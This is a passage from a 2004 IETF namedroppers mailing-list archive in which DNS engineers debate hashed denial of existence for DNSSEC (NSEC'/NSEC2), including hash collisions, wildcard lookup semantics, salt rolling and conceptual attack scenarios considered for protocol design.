IETF or any other standards body) have no business whatever creating names in my zone - no names whatever. That's my ballpark to play in. And this is a much more fundamental principle than having non-enumerable zones. kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Fri, 17 Sep 2004 10:42:42 +0100 Lines: 46 Sender: owner-namedroppers@ops.ietf.org References: <16713.42370.782695.453488@giles.gnomon.org.uk> <200409152357.i8FNvc8i027222@drugs.dv.isc.org> <F5CBA54E00290B9A250AA863@[192.168.0.16]> <28237.1095359966@munnari.OZ.AU> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Mark Andrews <Mark_Andrews@isc.org>, Ben Laurie <ben@algroup.co.uk>, Jim Reid <jim@rfc1035.com>, Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Fri Sep 17 12:05:27 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Robert Elz <kre@munnari.OZ.AU>, Roy Badami <roy@gnomon.org.uk> In-Reply-To: <28237.1095359966@munnari.OZ.AU> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk --On 17 September 2004 01:39 +0700 Robert Elz <kre@munnari.OZ.AU> wrote: > So, let's assume that in the example.com. zone I have > > * IN MX 10 target. > www IN A 10.11.12.13 > > (along with the NS and SOA records for the zone itself of course, but > they're not adding any new names). That's it. > > Now, I query for foo.example.com (type A), get back NODATA and a NSEC' > record that demonstrates that "foo" doesn't exist (along with whatever > else is required to generate the right answer proof, which I don't care > about here). For the purposes here, let a hash value in the NSEC' be H. > > Now I query for H.example.com. (MX). > > What do I get here? If I get NODATA, then you have just broken my > wildcard MX. If I get "IN MX 10 target." then you have just broken the > DNS lookup algorithm. You get "IN MX 10 target.". The zone is generated to be non-SELF-colliding so the only record at H is an NSEC' record. Returning an NSEC' record for ANY type of query other than NSEC' is ALWAYS a bad idea. The situation is no different from the zone * IN MX 10 target. www IN A 10.11.12.13 H IN TXT "foobar" If you do a query of type MX for H, you would not expect the TXT record to be returned, you'd expect the wildcard MX to be returned. And just the same happens with the example you have above with * IN MX 10 target. www IN A 10.11.12.13 H IN NSEC' blah Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Peter Koch <pk@TechFak.Uni-Bielefeld.DE> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Fri, 17 Sep 2004 12:02:08 +0200 Lines: 33 Sender: owner-namedroppers@ops.ietf.org References: <25789AA62D44627CC4A84DBC@[192.168.100.25]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-From: owner-namedroppers@ops.ietf.org Fri Sep 17 12:17:18 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Authentication-Warning: grimsvotn.TechFak.Uni-Bielefeld.DE: pk owned process doing -bs X-Authentication-Warning: grimsvotn.TechFak.Uni-Bielefeld.DE: pk@localhost didn't use HELO protocol To: namedroppers@ops.ietf.org In-reply-to: Your message of "Fri, 17 Sep 2004 10:42:42 BST." <25789AA62D44627CC4A84DBC@[192.168.100.25]> X-Organization: Uni Bielefeld, Technische Fakultaet X-Phone: +49 521 106 2902 Content-ID: <29758.1095415327.1@grimsvotn.TechFak.Uni-Bielefeld.DE> Precedence: bulk Alex Bligh <alex@alex.org.uk> wrote: > You get "IN MX 10 target.". The zone is generated to be non-SELF-colliding > so the only record at H is an NSEC' record. Returning an NSEC' record > for ANY type of query other than NSEC' is ALWAYS a bad idea. but that interferes with how wildcards work. The name H exists (per the NSEC RR), so the wildcard doesn't apply - regardless of QTYPE. > The situation is no different from the zone > * IN MX 10 target. > www IN A 10.11.12.13 > H IN TXT "foobar" > > If you do a query of type MX for H, you would not expect the TXT record > to be returned, you'd expect the wildcard MX to be returned. And just One might expect that, but it again isn't how wildcards work (see parallel thread). The basic problem is that hashes, if they use the same namespace (and currently there is no alternative) will introduce new names into the zone. The not so trivial question is whether this is an academic problem or whether it can lead to problems or be abused. Look, for example, at those NSEC' RRs which deny their own existence. -Peter -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Fri, 17 Sep 2004 11:12:13 +0100 Lines: 112 Sender: owner-namedroppers@ops.ietf.org References: <200409152357.i8FNvc8i027222@drugs.dv.isc.org> <F5CBA54E00290B9A250AA863@[192.168.0.16]> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Jim Reid <jim@rfc1035.com>, Edward Lewis <edlewis@arin.net>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Fri Sep 17 12:26:39 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Mark Andrews <Mark_Andrews@isc.org>, Ben Laurie <ben@algroup.co.uk> In-Reply-To: <F5CBA54E00290B9A250AA863@[192.168.0.16]> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk (Replying to myself). --On 16 September 2004 15:03 +0100 Alex Bligh <alex@alex.org.uk> wrote: > Now, if someone makes a query for Q, BY ASSUMPTION the zone is non-self > colliding, so RR Q does not exist (else RR Q would have the same hash as > P(k) and we'd have chosen a different salt - as we could detect this at > zone preparation time). > > So if we return an NSEC-x record that says "there are no RR's in the > [open] > interval H(P(k), S) ... H(P(k+1), S)", that also implies that there ARE > RR's at P(k), and P(k+1), and thus BECAUSE the zone is non-colliding with > itself (see [1]), that OTHER than the exact label names P(k), P(k+1), > there > are no other RR's with the same hash and thus "there are no RR's in the > [closed] interval H(P(k), S) ... H(P(k+1), S)) other than P(k) and > P(k+1)". > Provided the reply contains the QNAME whose existence is being denied, > the "other than" cases can be distinguished. > > Thus I think that provided we have (as described in a previous email) > prevented the zone from colliding with itself, we can still effectively > do an authenticated denial of existence for a QNAME whose hash collides > with an RR which is present, and for that RR. Hmmm... I've been thinking about this a bit more. Here is a demonstrable potential problem with hash collision: Let us assume you have a non-self-colliding zone with salt S - which I allege one can generate: ; exampel.com presented out of order for clarity xxx IN MX 1.1.1.1 ; Hash is 1000 foo IN MX 2.2.2.2 ; Hash is 2000 bar IN MX 3.3.3.3 ; Hash is 3000 ... IN NSEC' 1000 1000 IN NSEC' 2000 2000 IN NSEC' 3000 3000 IN NSEC' ... As the hash space is smaller than the QNAME space (assuming we don't want to use all 8 bits to represent hashes that's always the case), then there WILL always be a finite number of QNAMEs having the same hash values as some of the labels in the zone (though they will be stupendously difficult to find). Let's assume, however, that we have one, for instance baz.example.com which ALSO has hash value 2000. I do an MX query for baz.example.com. I get back a proof (manner irrelevant) that says hash values 2000 - 3000 (exclusive) don't exist. Now according to my previous posting, I could infer from getting that back that baz.example.com does not exist, as I know there is a label with hash value 2000 that does exist, and the record with hash value 2000 WAS baz.example.com, then I'd have got back an MX record (not a denial of existence). But a (potential) problem arises here: If I do an MX query for foo.example.com, and some interloper captures the response and substitutes it for the same denial of existence as above (i.e. the same one I'd have got asking for foo.example.com), then by my own logic, I'd have to conclude that foo.example.com didn't exist (or I'd have received an MX record back). What I think this means is that any NSEC' proof of the sort above can only disprove the existence of hash values 2001-2999 (etc.) and the existence of a single (unspecified) record with hash value 2000 (and similarly with 3000). One cannot draw an implication as to whether that record is, or is not, the QNAME (if one worries about hash collisions with QNAMEs). Now clearly the label could always be returned in the NSEC' reply, but that would get us back to enumerability. I think the way to fix this is as follows: if the QNAME does not have the same hash as any record (i.e. falls into the open interval between NSEC' records), then simply return then NSEC' record. So if the QNAME has hash 1001, the resolver, seeing there are no records between (open interval) 1000 and 2000, can assume the QNAME does not exist. In the circumstance where there *IS* a hash match, in the response, return the original label that generated that hash. So in the case above of a query for baz.example.com (hash 2000), return foo.example.com, as well as the normal NSEC' proof. Now this could either be done by returning additional records (though I'm not sure those always get passed through the system enough) which would be cleaner, or failing that by having two presigned NSEC' proofs for the interval 1000,2000, one with foo.example.com (to be returned to deny existence of QNAMES with hashes of 1000 exactly), and one without (to be returned to deny existence of QNAMES with hashes of 1001-1999 inclusive) - (NB QNAMES with hash exactly 2000 go into the next pair of NSEC' records). This doesn't enable enumerability for a strong hash as in order to get the record back with foo.example.com in, you'd either have to already know foo (which is hard), or to be able to break the hash (i.e. generate an arbitrary QNAME with hash 1000). The latter as we know is computationally extremely difficult. The unlikelihood of the second form NSEC' records ever occurring might make interoperability testing difficult. This could be resolved by making a deliberately weak hashing mechanism mandatory for interoperability testing. Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Fri, 17 Sep 2004 11:27:18 +0100 Lines: 33 Sender: owner-namedroppers@ops.ietf.org References: <200409171002.i8HA28D29763@grimsvotn.TechFak.Uni-Bielefeld.DE> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Fri Sep 17 12:38:12 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Peter Koch <pk@TechFak.Uni-Bielefeld.DE>, namedroppers@ops.ietf.org In-Reply-To: <200409171002.i8HA28D29763@grimsvotn.TechFak.Uni-Bielefeld.DE> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk --On 17 September 2004 12:02 +0200 Peter Koch <pk@TechFak.Uni-Bielefeld.DE> wrote: >> If you do a query of type MX for H, you would not expect the TXT record >> to be returned, you'd expect the wildcard MX to be returned. And just > > One might expect that, but it again isn't how wildcards work (see parallel > thread). OK - I wondered if Robert might mean that, so I set up a test before posting. Try dig MX H.example.alex.org.uk I get: ;; ANSWER SECTION: H.example.alex.org.uk. 494 IN MX 10 target.example.com. No mention of: ;; ANSWER SECTION: H.example.alex.org.uk. 360 IN TXT "HASH" Or are you saying that's changed in DNSSEC? Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Peter Koch <pk@TechFak.Uni-Bielefeld.DE> Subject: wildcards again [Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) ] Date: Fri, 17 Sep 2004 13:31:06 +0200 Lines: 22 Sender: owner-namedroppers@ops.ietf.org References: <219B5BB3E7047FB29435E37B@[192.168.100.25]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-From: owner-namedroppers@ops.ietf.org Fri Sep 17 13:39:28 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Authentication-Warning: grimsvotn.TechFak.Uni-Bielefeld.DE: pk owned process doing -bs X-Authentication-Warning: grimsvotn.TechFak.Uni-Bielefeld.DE: pk@localhost didn't use HELO protocol To: namedroppers@ops.ietf.org In-reply-to: Your message of "Fri, 17 Sep 2004 11:27:18 BST." <219B5BB3E7047FB29435E37B@[192.168.100.25]> X-Organization: Uni Bielefeld, Technische Fakultaet X-Phone: +49 521 106 2902 Content-ID: <83.1095420666.1@grimsvotn.TechFak.Uni-Bielefeld.DE> Precedence: bulk Alex Bligh <alex@alex.org.uk> wrote: > ;; ANSWER SECTION: > H.example.alex.org.uk. 494 IN MX 10 target.example.com. > > No mention of: > ;; ANSWER SECTION: > H.example.alex.org.uk. 360 IN TXT "HASH" > > Or are you saying that's changed in DNSSEC? No, I'm saying that these observations suggest the nameserver implementation used to serve the zone is not protocol conformant (with or without wcard- clarify). They also stumble over a QNAME like 'foo.*.example.alex.org.uk'. -Peter -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: wildcards again [Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) ] Date: Fri, 17 Sep 2004 12:51:42 +0100 Lines: 40 Sender: owner-namedroppers@ops.ietf.org References: <200409171131.i8HBV6500087@grimsvotn.TechFak.Uni-Bielefeld.DE> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Fri Sep 17 14:02:58 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Peter Koch <pk@TechFak.Uni-Bielefeld.DE>, namedroppers@ops.ietf.org In-Reply-To: <200409171131.i8HBV6500087@grimsvotn.TechFak.Uni-Bielefeld.DE> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk Peter, --On 17 September 2004 13:31 +0200 Peter Koch <pk@TechFak.Uni-Bielefeld.DE> wrote: >> ;; ANSWER SECTION: >> H.example.alex.org.uk. 494 IN MX 10 target.example.com. >> >> No mention of: >> ;; ANSWER SECTION: >> H.example.alex.org.uk. 360 IN TXT "HASH" >> >> Or are you saying that's changed in DNSSEC? > > No, I'm saying that these observations suggest the nameserver > implementation used to serve the zone is not protocol conformant (with or > without wcard- clarify). They also stumble over a QNAME like > 'foo.*.example.alex.org.uk'. Robert pointed that out off list - I used UltraDNS as the sandbox is behind a firewall. So I tried on the sandbox on Bind 9, and it returns NOERROR, but no data. So my question is, if the zone is * IN MX 10 target. www IN A 10.11.12.13 H IN NSEC' blah And the hash of www is H, what breaks if, on a query of type MX for H, it returns: H IN MX 10 target (i.e. ignores the NSEC' record). Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: wildcards again [Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) ] Date: Fri, 17 Sep 2004 19:31:53 +0700 Lines: 28 Sender: owner-namedroppers@ops.ietf.org References: <864823E63085C47CEEC82009@[192.168.100.25]> <200409171131.i8HBV6500087@grimsvotn.TechFak.Uni-Bielefeld.DE> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Fri Sep 17 14:42:48 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Alex Bligh <alex@alex.org.uk> In-Reply-To: <864823E63085C47CEEC82009@[192.168.100.25]> Precedence: bulk Date: Fri, 17 Sep 2004 12:51:42 +0100 From: Alex Bligh <alex@alex.org.uk> Message-ID: <864823E63085C47CEEC82009@[192.168.100.25]> | And the hash of www is H, what breaks if, on a query of type MX for H, | it returns: | H IN MX 10 target | (i.e. ignores the NSEC' record). The "ignores the NSEC' record" is not nearly as easy as it seems like it might be (as a message from Mark Andrews pointed out a few days ago). But even if it is easy, explaining how wildcards work now is difficult, and than's when it is all simple, and clean, and consistent (difficult because it sometimes isn't what people are hoping for, or are expecting based upon the assumption that wildcards do pattern matching). Expecting anyone to ever understand the things if we start adding special cases to the algorithm is beyond hope. kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: "Olaf M. Kolkman" <olaf@ripe.net> Subject: Re: wildcards again [Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) ] Date: Fri, 17 Sep 2004 14:47:50 +0200 Organization: RIPE NCC Lines: 85 Sender: owner-namedroppers@ops.ietf.org References: <200409171131.i8HBV6500087@grimsvotn.TechFak.Uni-Bielefeld.DE> <864823E63085C47CEEC82009@[192.168.100.25]> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: pk@TechFak.Uni-Bielefeld.DE, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Fri Sep 17 14:56:45 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Alex Bligh <alex@alex.org.uk> In-Reply-To: <864823E63085C47CEEC82009@[192.168.100.25]> X-Mailer: Sylpheed version 0.9.11 (GTK+ 1.2.10; i686-pc-linux-gnu) X-RIPE-Spam-Level: X-RIPE-Spam-Status: N 0.044732 / 0.0 / 0.0 / disabled X-RIPE-Signature: e27f6eb8b369daa3949c8a421c13044e Precedence: bulk On Fri, 17 Sep 2004 12:51:42 +0100 Alex Bligh <alex@alex.org.uk> wrote: > And the hash of www is H, what breaks if, on a query of type MX for H, > it returns: > H IN MX 10 target > (i.e. ignores the NSEC' record). In other words you would propose that the searching algorithm would be modified based on the qtype queried? If so ...auucchhh.... :-) NB it is not that one cannot propose a change to the full standard, wildcard carify proposes (will propose) a change on how wildcard owned CNAMEs are dealth with. A Little Side Track (I am not sure if these scenarios have been scetched, apologies if I am duplicating arguments) EBS1 (Evil Bastard Scenario 0ne): I own secret-wg.org. Tomorrow I am going to register HASH(salt=0x00, secret-wg.org).org HASH(salt=0x01, secret-wg.org).org ... HASH(salt=0xff, secret-wg.org).org Just to make the changes on a hash collission in secret-wg.org 2^24 instead of 2^32. The hash colission being an anoyance during signing because you have to regenerate all NSEC2s with a different salt not because you happen to hit a "real" name. This can be distributed over mulitple registrants can do this each carying their part of the registration costs: HASH(salt=0x00, secret-wg.org).org HASH(salt=0x01, kolkman.org).org ... HASH(salt=0xff, marnick.org).org ... HASH(salt=0xffff, geerthe.org).org you could actually do a DDOS attack on the zone signing process if the salt space is to small. Practically I think 32bits of salt is sufficient to mitigate this, so is registration policy. EBS 2: Today the .org registry generates their NSEC2s with salt(0x4e8aeb32). I register HASH(salt=0x4e8aeb32, secret-wg.org).org That forces the .org registry to roll their salt to e.g. salt(0x23a5883d) at which point I register HASH(salt=0x23a5883d, secret-wg.org).org Problematic? Maybe.. I force them to sign all NSEC2 RRs for all owner names in their zone while otherwise they could have used incremental signing. The underlying assumption for this is that one version of the zone would have the same salt for all the NSEC2 RRs. This would not occur if the NSEC RRs would have owner names in a different namespace in wich you would not be able (or allowed) to register names (a policy and not a protocol issue). --Olaf as namedropper. ---------------------------------| Olaf M. Kolkman ---------------------------------| RIPE NCC -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: wildcards again [Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) ] Date: Fri, 17 Sep 2004 14:27:36 +0100 Lines: 96 Sender: owner-namedroppers@ops.ietf.org References: <200409171131.i8HBV6500087@grimsvotn.TechFak.Uni-Bielefeld.DE> <864823E63085C47CEEC82009@[192.168.100.25]> <20040917144750.216cd419.olaf@ripe.net> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: pk@TechFak.Uni-Bielefeld.DE, namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Fri Sep 17 15:40:23 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: "Olaf M. Kolkman" <olaf@ripe.net> In-Reply-To: <20040917144750.216cd419.olaf@ripe.net> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk Olaf, >> And the hash of www is H, what breaks if, on a query of type MX for H, >> it returns: >> H IN MX 10 target >> (i.e. ignores the NSEC' record). > > > In other words you would propose that the searching algorithm would be > modified based on the qtype queried? > > If so ...auucchhh.... :-) > > NB it is not that one cannot propose a change to the full standard, > wildcard carify proposes (will propose) a change on how wildcard owned > CNAMEs are dealth with. I'm not so much proposing it as trying to work out what it would break. Incidentally, is the searching algorithm based on the QCLASS queried? It seemed peculiar to me that NSEC records were of QCLASS "IN" given I suppose they should be equally applicable to HS records etc. If the searching algorithm is indeed currently based on QCLASS (or if changing that doesn't break much given lack of other classes), then perhaps having NSEC' as a CLASS rather than a TYPE would fix both the above, and the colliding namespace problem. > A Little Side Track (I am not sure if these scenarios have been > scetched, apologies if I am duplicating arguments) > > EBS1 (Evil Bastard Scenario 0ne): ... > you could actually do a DDOS attack on the zone signing process if the > salt space is to small. Practically I think 32bits of salt is > sufficient to mitigate this, so is registration policy. This is perhaps not as stretched a scenario as you might think even with LONG salts if one is dumb about the cyclic algorithm used (that's why I said "cyclic function of cycle-length N"). The reason is because whilst one can show that the expected number of recalculations is less than 2, if an attacker KNOWS the cyclic algorithm used to produce subseqeuent salts, they could in theory generate names that would collide with a large number of subsequent salts. This suggests that the salts themselves should be produced using a cyclic algorithm known only to the signer, for instance: S(i) = H( i, private value) [pointless aside: perhaps the registry concerned won't mind the extra CPU cycles with all that extra income flowing in] > EBS 2: > > Today the .org registry generates their NSEC2s with salt(0x4e8aeb32). > I register > HASH(salt=0x4e8aeb32, secret-wg.org).org > That forces the .org registry to roll their salt to e.g. salt(0x23a5883d) > at which point I register > HASH(salt=0x23a5883d, secret-wg.org).org > > Problematic? Maybe.. I force them to sign all NSEC2 RRs for all owner > names in their zone while otherwise they could have used incremental > signing. Indeed - you can speed up roll of the salt. To the extent this is a problem, it could be resolved/mitigated either by a) Ensuring the NSEC' records are in a separate namespace completely (see other thread) [resolution] (evil grin: perhaps we should chose the currently maldefined "salt.*.example.com IN NSEC ..."); or b) Ensuring that NSEC' records representation is unlikely to clash with incrementally added namespace; for instance, ensure all NSEC records are of the form "_23a4883d NSEC..." (etc.) - that's only going to be susceptible when you can add NSEC records beginning with "_" (evil grin: perhaps we should chose "*23a4883d NSEC ..."). > The underlying assumption for this is that one version of the zone > would have the same salt for all the NSEC2 RRs. This would not occur > if the NSEC RRs would have owner names in a different namespace in > wich you would not be able (or allowed) to register names (a policy > and not a protocol issue). Yep I think that's (a) above. Another way of mitigating this might be to have multiple NSEC' chains, each with a different salt. Then you only have to roll one complete chain. Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Fri, 17 Sep 2004 09:29:24 -0400 Lines: 37 Sender: owner-namedroppers@ops.ietf.org References: <200409152209.i8FM93e8078190@drugs.dv.isc.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Edward Lewis <edlewis@arin.net>, Ben Laurie <ben@algroup.co.uk>, Alex Bligh <alex@alex.org.uk>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Fri Sep 17 16:05:10 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <200409152209.i8FM93e8078190@drugs.dv.isc.org> To: Mark Andrews <Mark_Andrews@isc.org> Precedence: bulk At 8:09 +1000 9/16/04, Mark Andrews wrote: >> Let's say I ask for ( robertson, IN, TXT ) and the hash of robertson is 9. >> ... >> >> So, I get back a "name error" with "9 NSEC7 13" in the authority >> section. After verifying the record (via the RRSIG), what next? I >> suppose it's then possible to a victim of an insertion attack - an >> interloper passes back this collision with there being a genuine >> robertson in the zone. > > The problem is that you can't return 9 NSEC7 13 + NXDOMAIN. > The NSEC7 says that robertson exists. The RCODE says that > it doesn't. IT DOES NOT WORK. You can - if it's defined to be allowed. Name error means that the name desired is not found - not that the hash of the name is not found. (We've never defined any semantics for hashes of names.) OTOH, even if you define a hash mess to avoid collisions at signing time, you can't guarantee against a query name's hash clash. And OTOH - I agree with KRE, this is a lot of noise about a non-issue. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Edward Lewis <edlewis@arin.net> Subject: any more comments? Date: Fri, 17 Sep 2004 16:01:44 -0400 Lines: 39 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: edlewis@arin.net X-From: owner-namedroppers@ops.ietf.org Fri Sep 17 22:13:57 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 To: namedroppers@ops.ietf.org Precedence: bulk Because of impending travel (RIPE), I'll have some quiet time to go through comments on the wild cards. So I'm asking for those who haven't spoken up yet that have something to add, please hit the list soon. The draft cutoff for the next meeting is October 25. The (non-exhaustive list of) questions out there (reflecting comments to date): 1) Should we remove the restriction on names that start with a '*' and have another in the middle? I think we know how this would work, even if there is some unhappiness with the explanation in the -00's Appendix A. (Hey - it was a '00' ;).) 2) Should we use a phrase like "source of synthesis" when refering to the "power" a domain name starting with a '*' has when it comes to the lookup process? Should we try to abandon the term "wildcard" as it has become too overloaded? 3) Does the prohibition against synthesizing records at non-authoritative servers make "* NS" inherently "illegal"? Is record synthesis followed when it comes to referral messages? The other issues are out there, have been discussed, and I think there's enough agreement to put stuff into words of a draft. (I'm not declaring a consensus, I'm just acting as an editor...) -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Sat, 18 Sep 2004 08:04:20 +1000 Lines: 53 Sender: owner-namedroppers@ops.ietf.org References: <a06020400bd70961d8bfa@[192.168.1.100]> Cc: Ben Laurie <ben@algroup.co.uk>, Alex Bligh <alex@alex.org.uk>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Sat Sep 18 00:12:45 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-reply-to: Your message of "Fri, 17 Sep 2004 09:29:24 -0400." <a06020400bd70961d8bfa@[192.168.1.100]> Precedence: bulk > At 8:09 +1000 9/16/04, Mark Andrews wrote: > >> Let's say I ask for ( robertson, IN, TXT ) and the hash of robertson is 9 > . > >> > ... > >> > >> So, I get back a "name error" with "9 NSEC7 13" in the authority > >> section. After verifying the record (via the RRSIG), what next? I > >> suppose it's then possible to a victim of an insertion attack - an > >> interloper passes back this collision with there being a genuine > >> robertson in the zone. > > > > The problem is that you can't return 9 NSEC7 13 + NXDOMAIN. > > The NSEC7 says that robertson exists. The RCODE says that > > it doesn't. IT DOES NOT WORK. > > You can - if it's defined to be allowed. Name error means that the > name desired is not found - not that the hash of the name is not > found. (We've never defined any semantics for hashes of names.) > > OTOH, even if you define a hash mess to avoid collisions at signing > time, you can't guarantee against a query name's hash clash. Thank you Ed. You at least are repeating (if not hearing) what I have been saying. robertson was the QNAME the has was 9. > And OTOH - I agree with KRE, this is a lot of noise about a non-issue. > > -- > -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- > Edward Lewis +1-703-227-9854 > ARIN Research Engineer > > "I can't go to Miami. I'm expecting calls from telemarketers." - > Grandpa Simpson. > > -- > to unsubscribe send a message to namedroppers-request@ops.ietf.org with > the word 'unsubscribe' in a single line as the message text body. > archive: <http://ops.ietf.org/lists/namedroppers/> -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: 